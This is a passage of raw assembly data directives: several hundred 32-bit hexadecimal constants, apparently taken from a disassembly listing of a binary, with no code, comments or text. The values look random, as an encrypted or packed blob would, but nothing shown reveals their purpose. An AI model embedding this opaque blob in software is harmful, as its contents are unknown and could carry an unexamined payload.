		dd 0F84D892Dh, 988A2791h, 0DD913A57h, 9DA5A102h, 0A66270D6h
		dd 54B45529h, 0E186D197h, 2702C383h, 75D91048h,	0C3626662h
		dd 0D7D83002h, 0D749F679h, 292FF696h, 63CFDECDh, 8507E54Bh
		dd 121379EFh, 0A6C764CFh, 7B8E7CCh, 21553041h, 8357B025h
		dd 182DE963h, 69B922A0h, 0F48109B6h, 60C38085h,	0EBEAF3C4h
		dd 2B55AEAh, 40E7A5h, 6B4F73BFh, 5F76145Ch, 0D7F78645h
		dd 99EF4790h, 0FC7C2507h, 0D62FD7FEh, 2C6702Fh,	8844C597h
		dd 50348938h, 476D8081h, 173A4BF5h, 0C60831A0h,	0D92B81EDh
		dd 91C38A0Fh, 3D548AAFh, 89E0AEEFh, 9BEE03FAh, 52403BBh
		dd 0B3BC66BFh, 6325DCEEh, 2D4DC626h, 34C9F6D4h,	31AB2B4Dh
		dd 7276A146h, 238140E9h, 36A54D0Bh, 258F655Dh, 0BAEBB5A2h
		dd 82C48009h, 4E293671h, 1053AA57h, 211270B8h, 4E63A6F0h
		dd 537BFAC9h, 0D729AB02h, 0A496AC79h, 2EF3683Eh, 0AAB82830h
		dd 10110579h, 0A8ED28E9h, 838898FDh, 7AF1B56Eh,	0C55F22Dh
		dd 2AB7958h, 2095A132h,	0B5032AC5h, 6369B823h, 40C1D7F1h
		dd 827EFFE9h, 0BA626D0Ch, 0ADE6410Fh, 0AAAF7507h, 0F8AA5B84h
		dd 85BF276Eh, 1A824176h, 49C0A7FAh, 9EDB8C71h, 528B416Eh
		dd 255465F4h, 2D6F32CEh, 0E2A4FDC2h, 48FEF9E9h,	34EE4FBDh
		dd 0EE9A723h, 122B6A68h, 4B668BFEh, 0FD302A29h,	37092EBh
		dd 99BD55D2h, 80947752h, 71BB29FBh, 85301294h, 0BA9C17E9h
		dd 959A7836h, 0F70AD9Bh, 604497h, 7D536B05h, 1FA33578h
		dd 0A7174E3Fh, 0BB8400B3h, 191CE870h, 0FCDF01ABh, 0BA5AFDFBh
		dd 0CD84991Fh, 0CC287851h, 0C47AFD4Fh, 0AF457CD8h, 0BD31BB97h
		dd 0BF05E739h, 4FCDE080h, 4AA4303Dh, 494225D6h,	5935B14Bh
		dd 5AE68AABh, 6186A3FDh, 0C30B838Ah, 581337h, 786BCBC5h
		dd 0F71D05E8h, 0EBFEE9D3h, 0BA7E57h, 74FE3EBh, 1972AA2h
		dd 208204A5h, 0B7439560h, 0BB019125h, 0A86CAB90h, 0E0B45B22h
		dd 0FD4F3158h, 6260D444h, 506C680Fh, 734FE6F3h,	1234C572h
		dd 0C6C5B0FDh, 4F09182Bh, 1EBA0C2Ch, 0B07AA932h, 0BD090B3Fh
		dd 90278EF0h, 0C997DD7h, 4AC37C01h, 0B8D02CBAh,	0CB87C665h
		dd 338E8E01h, 7DF55321h, 310EB12Ch, 0AA335FF8h,	0C01CD461h
		dd 0C0FEB26Ah, 43D61198h, 0F7931C5Bh, 0F474EFD8h, 19CB0734h
		dd 2F0BB838h, 0E07D28BFh, 1674E00h, 0C5055C8Ah,	2027F515h
		dd 0C1936EAh, 98F7319h,	133F87Fh, 0F6FFE7A7h, 842415E9h
		dd 730A012Dh, 36875E0h,	8436556Ah, 0ACD2BF27h, 0D498EB80h
		dd 5FE38BF4h, 8C41A39Fh, 70F43254h, 8F1B751h, 0C3558449h
		dd 0C22905h, 6E49CCDCh,	0E1048125h, 1795385h, 8A23BC0h
		dd 0F2F0539h, 0F93EAC82h, 8EE610D6h, 0BA665812h, 59534B5Dh
		dd 9D182AE2h, 9EED7D55h, 92D9653Fh, 8701DDF7h, 0D13E888h
		dd 13834120h, 0FE53DA18h, 81649C4h, 4F2967F4h, 338FFD3h
		dd 17722D68h, 243540CDh, 5B9EF7EAh, 0A85A4EE8h,	2DABF570h
		dd 4AA1514h, 16DE1256h,	0FBCAD605h, 7F9DB4EEh, 893E0212h
		dd 0FC6F40ABh, 473CC807h, 0C09EE912h, 3116E3EDh, 4E6BB7D7h
		dd 4070C98Ah, 0C11D80A8h, 0F8170F3Ch, 0D1F67346h, 134B7B16h
		dd 0EDBDEA89h, 5FEC0BA8h, 0A5A7C759h, 9ABC4355h, 625C0798h
		dd 1E713CF0h, 9E57103Fh, 58C1A444h, 0FB5F7A49h,	0C2A6243Dh
		dd 41582C28h, 72AD64E9h, 1E727C6h, 509DB69Bh, 972046F8h
		dd 40C90B9Bh, 98C83BF8h, 286771EAh, 0EFCF5915h,	0BC843B68h
		dd 575A0980h, 0D6319290h, 8C7F2E4h, 9B1D9CE9h, 0DBAB0155h
		dd 89010DFh, 4B6C680Ah,	885061C6h, 3EC5C9D8h, 0F96A4971h
		dd 2D91412Eh, 3A1EFE54h, 1F1016B1h, 0DABE56h, 816D156Ah
		dd 7A7FF8CEh, 86120FEEh, 14AC3D9Ah, 6BB2E680h, 1CC40262h
		dd 0C6308355h, 0B0A5060h, 0BDF1894Eh, 0C342F55Ah, 6E1EBA00h
		dd 539A159Ch, 43600698h, 47341F84h, 7470952Fh, 205FE915h
		dd 5D5B8B8Dh, 639D3314h, 32EFAE4Dh, 0D8937BB1h,	8CAB047Fh
		dd 0CF7053D0h, 89F451FDh, 8A25FF2Ah, 0BF9204E9h, 0D2258E44h
		dd 7ADE28BBh, 43241C9Eh
		dd 25EDE808h, 0FF53AEA4h, 0F0225E7h, 0FE68C8BFh, 0CCF5B789h
		dd 0E94DBE04h, 3E68DAA1h, 0E5DDC249h, 894621ECh, 735118C9h
		dd 9910AD2Ch, 16A2B040h, 169756Ah, 0C7291431h, 74BF605Bh
		dd 4C12B0E8h, 0D584B7E9h, 0E98436B3h, 0B88E843h, 0F554B551h
		dd 0A837AD22h, 0B06267FEh, 25B790CEh, 0C4F0963h, 9E56480Bh
		dd 25D52C88h, 591319DEh, 0E75E2291h, 0E193AA05h, 736A8EDh
		dd 3F0CC03Ah, 0E90DD79Eh, 3807E5Bh, 946972Dh, 0C8015A52h
		dd 80081508h, 8A2D5EF0h, 98F3A409h, 0E25DB2A4h,	5B2EF005h
		dd 0D20B7597h, 0C7C845EBh, 4812D1BEh, 9FA08D2h,	68F7AA58h
		dd 48520138h, 8B09860Ch, 0FB5CE005h, 5B08FFF2h,	0BA57E5D5h
		dd 875E9504h, 0F35331EAh, 10EC4BB0h, 800434A3h,	8758BDEEh
		dd 6A5C1B3Bh, 0B865CD40h, 4D81F809h, 2FDE4A64h,	8940084Ah
		dd 7497A23Ch, 0C57F5A28h, 34D8897Bh, 5DFF3AF5h,	9120A744h
		dd 0E58E9056h, 250F1E64h, 736B958Fh, 2DE207E5h,	0C788C21Bh
		dd 542D7BD4h, 0D0CD7339h, 92AA8C2h, 87B23B4Ah, 5B7B65C6h
		dd 3B599480h, 0FA18164Ah, 5FADB450h, 0B46167Fh,	6457D016h
		dd 0B972BD6Eh, 0C6B9B672h, 0CDCDA26Bh, 0D66A8214h, 2D97DDBh
		dd 687BD64Bh, 6C2A42DCh, 0B1890959h, 68F1A14Eh,	0C1972136h
		dd 0EAAAC56Ah, 0C103BDF6h, 0AEE9D02Fh, 429F3091h, 0A941C35Ch
		dd 7BC53B7Eh, 38C50FACh, 0B77F81C1h, 53525084h,	0B23E90B3h
		dd 0C236A59Bh, 1CCDD892h, 0ECDB03Ah, 0EEB5AF0h,	0B8BD3544h
		dd 925F23E7h, 0B23AC021h, 5AD48858h, 48E5283Dh,	0C6BD163Eh
		dd 3B5B8F44h, 27FC4F0Ah, 567D0CFAh, 24C0B7E0h, 0C7B5535Fh
		dd 32C05A88h, 51FF5C3Ch, 75AD3B68h, 4D1A3C59h, 5A645FD5h
		dd 4A0B455Dh, 0ACB4BBE9h, 4E48721Ch, 0D6C1A4EDh, 0AB04961Eh
		dd 41EE7CA0h, 0B3852BD2h, 5F44CE88h, 0F2834ADh,	0CE225921h
		dd 61581FE9h, 727851B5h, 22B8F275h, 1C4083E4h, 0F5D141C1h
		dd 0FF1BADD7h, 0FE2F5E1Eh, 566DE81Ch, 0C8680452h, 0C03F6C13h
		dd 51C5CA2Ah, 3E7A7B3Bh, 3548AF2h, 0F60CC770h, 406C434Eh
		dd 45012DEDh, 8917806Dh, 0E03F50C5h, 38F2E942h,	0AD1DEC99h
		dd 159A63FFh, 5A177686h, 0FB1617D1h, 89C25E34h,	9E72561Ch
		dd 801EE0B7h, 0D50A7FF7h, 0CE82C42Fh, 411E0A83h, 0E745365h
		dd 2542E0BAh, 4A5F7182h, 2FE1F7CAh, 1839BEEAh, 0B10AA6E0h
		dd 0D1F6055Ch, 0A172B753h, 0EA1D6EE4h, 7266B3B9h, 980612E8h
		dd 0D020430h, 0D299F806h, 200CD2EBh, 98F5B7ABh,	0C0EA9546h
		dd 6380F1ABh, 0E91602CBh, 51A217C0h, 0E9AE8CD3h, 0FCCEEC25h
		dd 312E5CB2h, 0C605E2E9h, 4F8539C9h, 6502DC82h,	30B1A8AFh
		dd 5C1092F3h, 8B05BF57h, 2166FA2Eh, 10B4910Fh, 557E2D25h
		dd 0E7AF5E92h, 0DFBA17C2h, 7548BEFh, 0A08D1935h, 86E0F51Bh
		dd 5F438BFh, 0EA512890h, 8FF02007h, 34204A81h, 0CF4B1379h
		dd 81E6A872h, 6EE03D44h, 4FE98830h, 4046C768h, 2CF0797h
		dd 88200FB8h, 8F1BE10h,	273EBEACh, 0F5E6C262h, 34081400h
		dd 0EBF86FC8h, 0B0A96E54h, 0E1F05B4Bh, 1D05F6C0h, 5E80D3F6h
		dd 3E30298h, 0BC61CBFEh, 7FBF64CAh, 7C5D6162h, 42185C41h
		dd 103D22Bh, 0F9B606CAh, 9E1B5A2Fh, 1D4F8C32h, 96AF59F2h
		dd 0B40C7452h, 1B44C250h, 3D63FAE3h, 59987830h,	0CCFE1679h
		dd 92E074B0h, 47F582h, 75E9EEA6h, 449768F8h, 81CD2D69h
		dd 5A5FAD44h, 570B4AEAh, 0BB66651Eh, 6E6D9360h,	0A8074E84h
		dd 21EC5ABFh, 237F570Bh, 53EF0055h, 7C15CDBBh, 0FE4B4A76h
		dd 55E3D816h, 202E0128h, 0BB540C77h, 25703338h,	759B6FE1h
		dd 0F080AC4Bh, 0B65FCEE9h, 13C1A420h, 0FC5089D7h, 0FCBDD1D2h
		dd 12097BA9h, 0CD4F8768h, 5BC23B8Fh, 2316DDE6h,	0A3EA572Eh
		dd 8CB9D2B6h, 7021608Bh, 64DA8852h, 5B00667Fh, 8002E4C0h
		dd 4F30FEC4h, 7B268AE2h, 89BEDCB7h, 515F5452h, 5485C9A3h
		dd 1696883Eh, 0BB00B342h, 6C7D0B7Ch, 0ED9EDF01h, 0C572056Bh
		dd 524192EFh, 0DF2B8B77h, 98204964h, 56AD24AFh,	6F8402ABh
		dd 5EC820B2h, 379AF437h, 33619D0Fh, 85EF4630h, 35BE0487h
		dd 0C7603821h, 0A106152h, 8116079h, 810506C9h, 9F3307E5h
		dd 0AF6B0FFh, 4CB13062h, 2223CF6Ah, 8F84444Ah, 0A03EDDF1h
		dd 8F4F34DCh, 0BCB240ADh, 8175FBA9h, 0E64C0525h, 0F98EA16Fh
		dd 29016451h, 4B31C0CDh, 0A382A43Fh, 0B7840382h, 0FE0C4A27h
		dd 6ACBA690h, 9D72FC74h, 8385D140h, 0DD09F514h,	2AEC8BF2h
		dd 600956Fh, 57BE581h, 6B3A7E3Fh, 0C2EE5DC6h, 74970498h
		dd 0CF2950AAh, 39AF594Fh, 0C0EB4825h, 0A5547A48h, 338013A8h
		dd 0F467852h, 36878B12h, 0F6E00DF4h, 0BEA84EAEh, 15977160h
		dd 400E4AC4h, 0DB58A99Bh, 5C4A0116h, 0CD06CFCh,	9798915Eh
		dd 0DECC3C59h, 8ABD49D2h, 0E57F14A2h, 0CC5293C4h, 0D0BB998h
		dd 0D45D2060h, 5C9F808Eh, 8D0F3430h, 27EE3527h,	899108F4h
		dd 0DF813385h, 0FC6556F1h, 0A580F028h, 14FBF05Dh, 108403E1h
		dd 5512231Ch, 619805BDh, 0C4D50F76h, 8A01D7F4h,	2EB756D1h
		dd 0DCB63066h, 2CD7203Bh, 0AB091F5Ah, 3C67F428h, 5C2A7420h
		dd 8B20FF87h, 77B43B4Bh, 4C951E92h, 8104D120h, 541FE11Fh
		dd 0D7EB4596h, 7F0153D2h, 8C2D0A0Eh, 50160209h,	1AB2575Ah
		dd 5EE661F5h, 452A3475h, 0BB6B68F7h, 55E8AB65h,	2F1C787h
		dd 0AFE02DFAh, 2E04380Bh, 0E883E963h, 1B5EED8h,	4D62B80Ch
		dd 7D5E8C0Fh, 20E503ABh, 0E074F24Ch, 9FF30485h,	6BE09869h
		dd 5B823B24h, 0FD7EBBh,	77337B51h, 74D0F701h, 0B0C64E08h
		dd 7597D99h, 0DF7EB8C9h, 59B9C61Eh, 7A79680Fh, 188B53FDh
		dd 49DC27h, 0BA6630E6h,	54142E17h, 6A0588E7h, 0E152C355h
		dd 3BAAD1F9h, 25ECB9DDh, 0A5989140h, 822FE27Ah,	56ACEACh
		dd 9D1BD52Dh, 2B5B8714h, 447DA6CAh, 0C9B63133h,	90D39B57h
		dd 0B84FCD21h, 9068C216h, 5BB4D53Fh, 298AE927h,	128C5EDBh
		dd 41FBC2D8h, 9814E375h, 0DFC060CBh, 80DBD27Eh,	0B4A689Bh
		dd 8D80FFA6h, 39484048h, 2ECB00E0h, 0E9231530h,	8742BDD6h
		dd 626DD95Dh, 0DBDD7DC1h, 14F72FE9h, 13094E6Dh,	20E9AC62h
		dd 91D89D47h, 1BA884Fh,	0A9E9901Bh, 90560299h, 804ABD94h
		dd 0F81396BBh, 0E30BB3EFh, 0A492F55Fh, 672FD772h, 269AC520h
		dd 8EFB1229h, 0E690403Ch, 12173279h, 4F01F901h,	2EDD1BCAh
		dd 0C83485F5h, 662D005Fh, 357A3E13h, 0AE12DF62h, 5AA8216Bh
		dd 43F6E620h, 47C27F82h, 4620DE6Eh, 0D15C4CD8h,	0A9256E04h
		dd 6091EA65h, 0A32B10A3h, 32ED1A79h, 0C344E0C7h, 586B0048h
		dd 10916852h, 5A125FF8h, 0E8B8DAF7h, 0A0ED5E7Ch, 20242D68h
		dd 530A8DCEh, 0F183CBE7h, 0DE785B5Ah, 4090090Ch, 78006B73h
		dd 96F71A8h, 0B248F6BFh, 0FFD65911h, 0BEE92554h, 0B49DACD8h
		dd 26479B09h, 0B08109Ch, 22840B6h, 0EDFF99Eh, 205AD7E0h
		dd 0F0BF5BFEh, 0A3295E7Fh, 0B652075Bh, 0AD24E932h, 0D3A5ACAAh
		dd 0FEDAD5BFh, 0CDAE2CBh, 54DF377h, 27396857h, 48678039h
		dd 594D6282h, 32C902BEh, 60310B41h, 8284C274h, 7151827Fh
		dd 0A06AFB16h, 0C45B39B0h, 0E70217A7h, 0F05EC701h, 0B685350h
		dd 367827A4h, 37067D60h, 9C61E2E7h, 2096D19h, 18F4D4EBh
		dd 94447750h, 0F8035709h, 236CF764h, 5BE958C2h,	86D95DF7h
		dd 0D282A73Fh, 9B57FBF2h, 92EE75B5h, 89540538h,	7EAD5DA9h
		dd 2527F39Ah, 0C153F35Eh
		dd 49561A68h, 856E3D2Dh, 7E40C8Fh, 375E0911h, 6ADE8903h
		dd 0B568D55Ah, 0B846BBCh, 6A54EA8h, 2DB8C8FDh, 69BB023Eh
		dd 45E3E9B9h, 7B923F44h, 3802E8B0h, 0F7231078h,	0CEDAE1DFh
		dd 0D35AA83Eh, 0BF1F1E61h, 0A1E1D38Fh, 0B713B8E7h, 0EE176CF5h
		dd 21A7E809h, 6309779Ah, 71821FF4h, 8422994Ah, 21EAC1D5h
		dd 0C856E90Bh, 74D2DAE8h, 9970F0BAh, 32723F19h,	744C32Eh
		dd 0BEEA77C0h, 6389303Dh, 0D61D710Ch, 8BE94D5Fh, 0CA00841h
		dd 61D39D14h, 0F4C1BF89h, 5152E01Ah, 0CAE4D988h, 25BA594Ch
		dd 2800DBA6h, 5C68101Ah, 0A8E90963h, 4B23F202h,	0C48EAD26h
		dd 0CFEE0BC2h, 8B481703h, 5EB82ABFh, 309C3D81h,	8A6F66E5h
		dd 555A1730h, 93598AFAh, 82128AFBh, 76ED58E9h, 484E8FA1h
		dd 45084F29h, 0E778A5CBh, 7DD12135h, 2FF51208h,	505D275Fh
		dd 486FA7B2h, 0A1585E44h, 0E27C38A4h, 2CFDBD01h, 6A0953CAh
		dd 52E36F6h, 0F404039h,	666FAC81h, 4C728144h, 807FCEE6h
		dd 31342D1Fh, 6A5D1D31h, 446E7A0Fh, 0EE9C9F20h,	2E680B28h
		dd 0C3E66BA1h, 108106AEh, 0CC69FC35h, 0CE251500h, 2D12F420h
		dd 0CD751353h, 0BED21D66h, 2118C084h, 9409C4C8h, 77E8BA04h
		dd 4CA2EAF4h, 33E95405h, 733D2066h, 32000D31h, 0B5DA872Dh
		dd 4E4B68F4h, 305E892Ch, 305CBD5Ch, 0EAD14F0Bh,	253FE60Fh
		dd 97BE9F7h, 2FD3405h, 0EDDEAFBh, 0B21C20A4h, 3B84BDAh
		dd 2F0E79A1h, 0A427F5CAh, 0D697F350h, 0B15452BAh, 5FA62DB6h
		dd 0C199D8D9h, 0DD79130Ch, 17F90C75h, 0A03FAE69h, 7C585F4Fh
		dd 0F7688242h, 1C1C5D50h, 6C9CC75Ah, 17E934CFh,	0A0631231h
		dd 0B7C61E27h, 3BCD0F2Ah, 0CC12EAF2h, 503EAC03h, 0A56BA00Ch
		dd 6880F6Dh, 1C10DA5Dh,	0DD52CF88h, 0BCD156E2h,	77E9834Ch
		dd 58223B37h, 127F7E2Dh, 0CFFD56A8h, 855F72E6h,	0F178D02Fh
		dd 8C21B127h, 9FBE00B3h, 2D282F41h, 75CEDAE8h, 0F0E03F28h
		dd 0C889CA2Ch, 0EDDB7D52h, 27C8E4AFh, 0F6F91971h, 0B1C67382h
		dd 27134458h, 0FA59F160h, 0D19A539Eh, 0C6B8F564h, 14951741h
		dd 0AF9E245Ah, 1C847FDh, 2F890B95h, 38F6FD04h, 8F40AF16h
		dd 551ECBF5h, 0A74EDDB2h, 83F0E7E4h, 0C0A50E9Fh, 6A46B7BDh
		dd 0DD31335Fh, 64964748h, 0AD6D5BA1h, 908FCC0Dh, 0C79F8B41h
		dd 58FADCA9h, 0E57AE9h,	1710BA52h, 0FC42476Eh, 0CD2D0270h
		dd 0DD1A1F7Bh, 21073488h, 0C9752515h, 0A4205EA9h, 805F0551h
		dd 0C4FB0174h, 0FF080427h, 59F0A833h, 0BE683F16h, 384F2D18h
		dd 48413A13h, 891248DCh, 6A63A142h, 5B2FBECFh, 4A8C9C75h
		dd 0ED58D0DAh, 8D272FB7h, 0E317A092h, 784B3B09h, 0C808C01h
		dd 0D35EEEE9h, 83394FBEh, 0D0DCEF3Fh, 5A6B747Ah, 0C5589376h
		dd 376AB5ABh, 0E8803980h, 0ADFABBD6h, 0F72DD19Ch, 42B7B43Eh
		dd 1984613Bh, 0EF91DD6Ah, 4912DBEBh, 0F045AD7h,	0E9AFB9A8h
		dd 0BDBCC653h, 81DB0E8Bh, 0EA2714CBh, 1261D279h, 0E5EF31D9h
		dd 0E3BBC1D4h, 0C80D1049h, 69DBBD02h, 22D74B88h, 5F07AFCCh
		dd 0EB80DC20h, 0CBEC5822h, 0CA4ECDFAh, 15768542h, 2500D7AFh
		dd 774821DDh, 444160B5h, 0E90F08DAh, 812C843Eh,	0B255FC27h
		dd 81637D0Ch, 0A7850192h, 0E90803C6h, 6024A392h, 5A301431h
		dd 5A47AF4Eh, 1242E861h, 2E2F124h, 90021097h, 14704050h
		dd 6355803h, 1292D249h,	0EF380BB0h, 208EC47Fh, 1BFBF89h
		dd 3C1968D9h, 6BE92D51h, 5C1E2FF3h, 580BFFF9h, 0EDB1DF76h
		dd 152A80h, 6FF94BDFh, 0B109AAB5h, 0C3DD108Eh, 28123D4Ah
		dd 6B906CADh, 73255842h, 890AE26Fh, 0DC0957EBh,	0FAB8F10h
		dd 4B4F647Fh, 0CFC241EEh, 3C7E7530h, 976F134Fh,	5DF26AA8h
		dd 0BB00DD5Bh, 70B23ECBh, 0EB4F83h, 0A839A053h,	5C27E937h
		dd 20AB5ADEh, 17CABE1h,	8E20F597h, 6F59F5BEh, 0CE94F50h
		dd 0BE2303Bh, 7EEC1h, 1A3E1B68h, 0FA5C95EAh, 0C18E78C9h
		dd 8E07CABCh, 2A6B313Eh, 0E5ACA312h, 3DF8C5B0h,	145BF1Dh
		dd 80F8ECA5h, 4E18E90Dh, 0CCF25D70h, 68509EDBh,	3711AD26h
		dd 920C8269h, 6E6C7DA7h, 21EBC0D7h, 588E60Dh, 4E239EFBh
		dd 70C17B2Ch, 163291E9h, 96BCB979h, 0E95CC8AEh,	2A92BD28h
		dd 0D32D200h, 90800F33h, 0CD19C0ADh, 28161D36h,	737788F8h
		dd 0C8C22BCh, 0BC32596h, 0AA03EB6h, 112D3320h, 0D593040h
		dd 0E9074002h, 0E2BC767Ah, 79E04E89h, 543082FEh, 4CD4790Ch
		dd 2076DA81h, 52C56807h, 0B33E5B76h, 0AADB016h,	2F489824h
		dd 16A05772h, 58054AFh,	480B799Eh, 6E097821h, 2C02490Fh
		dd 8F09A8EEh, 0F822897h, 0ABA6FD01h, 0CD9F4687h, 5A0224DAh
		dd 0DC883F73h, 810F05A5h, 0EC62E1A8h, 0A6BB8DA9h, 94B2590Eh
		dd 0CE8247Fh, 0E2816300h, 3BC77AF5h, 328C107h, 0D9E91788h
		dd 0A9CC5380h, 0CBBC930Dh, 0E5A3FB92h, 6CECE983h, 0E4DA3D27h
		dd 0BA65979Eh, 0C203A4A4h, 0CC0EB175h, 0C1AD44FAh, 37F487E7h
		dd 2F85035Eh, 165ADFDBh, 2C179AF8h, 0ABA420E3h,	76021065h
		dd 34FD8957h, 557455D7h, 614EE417h, 0E181C949h,	0DE3C5CD0h
		dd 0A067D69Eh, 65296849h, 2FBCB06Fh, 85DDBF9h, 5F18D7C7h
		dd 902EEDB2h, 0C073F841h, 5C62BA29h, 81001B54h,	297AE6F2h
		dd 0CBF5764h, 7C6C4CC7h, 0F1408ACh, 10D45363h, 0DA6C787Dh
		dd 5518261Ch, 47F61525h, 68300263h, 5C4B8E0Fh, 80832257h
		dd 0A70B5DECh, 4109147Bh, 92657131h, 0E35FC15Bh, 0C4D92F9Bh
		dd 0D8BC1851h, 0F347317Ah, 90A8059Ah, 12685616h, 0DF4FCC90h
		dd 0A71D9C1Eh, 2957EE1Fh, 6431390Ch, 4C7BB7B2h,	450A12BDh
		dd 290294D2h, 802BDA7Dh, 0F1F0289Dh, 0D233B33Eh, 58DACAABh
		dd 617012C7h, 17B50B88h, 0BAEA88FDh, 80FFB881h,	752831DCh
		dd 17C275FAh, 37C656E9h, 0C8AA822Eh, 78759075h,	9D32722Dh
		dd 1204B5C3h, 6DC0661Eh, 0DC463382h, 0BA7E2F86h, 7F2D39E3h
		dd 0D7C25E44h, 0C9A4E9h, 561F1068h, 48581F49h, 25068FC1h
		dd 5A00F25h, 0F0CA85E1h, 40935AEh, 29458003h, 0B307227Ch
		dd 839F7699h, 0BF3F6177h, 0B872C5ECh, 545F2DE9h, 44392DF9h
		dd 0F3A32A5Bh, 64D56B89h, 5B6813F8h, 4F2DAA2Bh,	999D0C29h
		dd 6BFA273Dh, 0E93AE089h, 685A81FAh, 0A23F2337h, 80E9C205h
		dd 60796B30h, 6748B6BAh, 589F5F0Eh, 43A4A1E4h, 127C9F60h
		dd 5095A1E9h, 0FC4A5ED0h, 7E1A137Dh, 8C0069CDh,	0B83BE0E7h
		dd 8E51BDABh, 5BBF866Fh, 3A0C2785h, 488B6151h, 89E57951h
		dd 0DD8B44BEh, 83DC02D7h, 43F6C0E9h, 8373B463h,	10460F3Eh
		dd 16950C01h, 0D1F73456h, 17ED20h, 29D560A8h, 0BDF0E9F9h
		dd 5DDDB5A9h, 0DCF42E4Bh, 0A6B32EB9h, 0B0180C71h, 6AE5DDB1h
		dd 5B1012E7h, 501E7612h, 7E4DE888h, 13419779h, 8FF69D52h
		dd 8C10AC3h, 53045A1Fh,	0C1BFC068h, 0FBD8E91Ch,	4FBC964Ah
		dd 0B6366104h, 89CCFA16h, 0FEEF7683h, 742838F7h, 2F0C7F30h
		dd 262FDD1Ch, 0C181DE29h, 848FB9E9h, 5F80152h, 0DC9DF1AEh
		dd 5E0A5830h, 0BF097968h, 6F9466A8h, 94EF48Eh, 437D8566h
		dd 6DBA9552h, 0E2CA03BDh, 0C101AAA4h, 7D3D57DDh, 0AF030C82h
		dd 1FF452FBh, 740EDF2Ch, 2144E21Fh, 2885F2EFh, 0B3EDB94h
		dd 11C6757Ah, 593F2E83h, 0F540D095h, 270B3594h,	6E7E3DE9h
		dd 986816E8h, 4339AA4Ch, 0CECFD2Ah, 3D6AE1E9h, 608409EEh
		dd 0F84A0F8Ah, 12E90802h, 0BB01307Eh, 4245221Bh, 0A02E91E8h
		dd 873891Dh, 0D6012B60h
		dd 5A4B0820h, 34B981EAh, 1EF23682h, 0F7EDF029h,	0C8688281h
		dd 70BC5105h, 0B9897AF9h, 26BB5540h, 0BB454A12h, 0BE56ABD0h
		dd 15CE6B2h, 0F5F6810Dh, 0D827090Ch, 3B1014E6h,	0F902779Dh
		dd 31EF269Fh, 4C04F963h, 0E759EB62h, 7360F3B1h,	0D607C34h
		dd 0EA1EE95Ch, 1D8C017Ah, 436BA837h, 0E22FAB41h, 0CA14C5B1h
		dd 0F776DCBBh, 610DE4Ch, 65B20A06h, 96D054E8h, 228D3EC2h
		dd 404A4697h, 0B56BEADDh, 52974129h, 0BD4E26C4h, 5F82C073h
		dd 43124F9Dh, 60AFD3F7h, 923FABEDh, 0AE06941h, 0E94A0970h
		dd 0F8FE75D3h, 94645451h, 96769D66h, 75554BEFh,	732DE3C8h
		dd 0A94E9479h, 9704E0E1h, 2F479F01h, 73741383h,	0E0044BEFh
		dd 3A28E9AFh, 0A2127102h, 70FCA42h, 72F4A4EAh, 7D60CAAFh
		dd 5100E2BCh, 26A76855h, 1C085EC1h, 3ED9C70Ah, 0E874DCF7h
		dd 50CB0716h, 0EFC095FEh, 4A0CFE10h, 12513CAh, 5C123271h
		dd 372556BDh, 99688ABh,	97B3A29Fh, 1CA60E7Bh, 2913A2E2h
		dd 0BE952DF8h, 510C3D07h, 0F9B055F4h, 7CFE0A05h, 27A87720h
		dd 27D29E75h, 0CD8596E9h, 0D98ABB5Eh, 0DF34EB4Bh, 0AA3194FEh
		dd 356EFF8Fh, 0BC56F1C5h, 0C2294AEFh, 39EF817Eh, 80B900E5h
		dd 689128B6h, 4C241C9h,	0DFA1AAD6h, 125BCB2Fh, 6E28863Fh
		dd 52A93168h, 8A1A21h, 388079B3h, 82920FCBh, 0AA5AC48Ch
		dd 38A32675h, 0DD5CD312h, 2A677FCEh, 9BB858C4h,	756BA286h
		dd 0FD0F454h, 2353842Fh, 5A9208E5h, 0E4BC2339h,	542F1EB6h
		dd 698A5B5Bh, 490FE5FDh, 8D5A9089h, 1786EB38h, 6EF10CFh
		dd 248C752Fh, 3E6BE02h,	624614B5h, 4EA0DC3Eh, 0D412E5C7h
		dd 3650C048h, 7E4C4A7Bh, 8AA81F5Ch, 78A055D8h, 178C0D38h
		dd 666F329h, 3127CC08h,	0FCB51CFCh, 0FD414ED5h,	6466C1A4h
		dd 0F26B67D9h, 85911859h, 78895D42h, 9B6220C2h,	0F6176398h
		dd 0CE041F23h, 98C457F1h, 7DE92881h, 265EE060h,	1B89E1D1h
		dd 0EFD743E0h, 6FD597AAh, 91D42FE4h, 6E21A710h,	40820F8Ch
		dd 0EA09D1BCh, 0C2E58B0Fh, 985C5AB1h, 35C909C3h, 0CF764CE9h
		dd 0BE4A182Fh, 0D50A0433h, 0C6CE317Dh, 62B008E4h, 0FC7AE969h
		dd 0CA08989Dh, 572D6B10h, 5D20DD18h, 48FEE683h,	0DE9773B8h
		dd 0ED574BBAh, 9F11883Bh, 0E1AAA53Ah, 7CEC4805h, 54D1957Ah
		dd 60687DCBh, 6112AD05h, 0E9AC0CE2h, 2307C018h,	2826D13h
		dd 1A12297h, 53398A0Fh,	85B842A5h, 1BC45DBCh, 0A7A1CF8Ch
		dd 0A81EAC2Ah, 0BC994E01h, 0C2E4E71Eh, 0EB4E65A8h, 0E6E98F6Ch
		dd 14F4BD72h, 0FE478F58h, 8F4A5C68h, 0A97FA984h, 83EEDE26h
		dd 0B4504230h, 0B55116B1h, 0FC1CABBAh, 7F08E0ACh, 0BEBF0F10h
		dd 97CD602h, 0F77BD1EEh, 9C73E91Ah, 7B5D81CFh, 13A07D3h
		dd 0C328FF80h, 0AF093AF9h, 7DDA4653h, 0A66BE1DEh, 65A54E09h
		dd 0BF1C0806h, 5F09DC5Ah, 0D940B868h, 3D80699Bh, 4BC20CB1h
		dd 2F8F44D0h, 0BE2E4592h, 0A494EF93h, 887E2081h, 0AD27E3B0h
		dd 6311FE63h, 4017F253h, 0BE4714F6h, 770B0796h,	0CE2FBE44h
		dd 0E756418h, 0EF814F47h, 0E4E5BD62h, 53120D54h, 0C4DBF24Eh
		dd 0EF823AE3h, 0A60B5D7Bh, 9FA3EE55h, 53E4C159h, 5F768CCBh
		dd 986CF02h, 796E2668h,	14BF8AABh, 9CB0609Dh, 985FD4E9h
		dd 44CBDF41h, 39203913h, 2F2002Fh, 6C0D2DE1h, 0E917106Fh
		dd 0B1255B72h, 0C9AF4D84h, 47167D9h, 18503C60h,	94F3B8AAh
		dd 250504F6h, 0B805CAAh, 255DFAE8h, 82C0294Ch, 4FB58011h
		dd 65C82896h, 0C3CFC1C7h, 0E2E737Dh, 18AD185Bh,	0BA5200h
